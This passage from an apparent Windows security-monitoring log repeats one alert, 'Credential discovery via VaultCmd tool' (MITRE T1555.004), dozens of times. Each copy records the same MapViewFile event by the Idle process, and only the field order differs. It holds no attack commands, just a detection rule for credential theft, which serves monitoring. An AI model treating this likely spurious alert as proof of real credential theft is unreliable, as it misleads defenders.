1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: 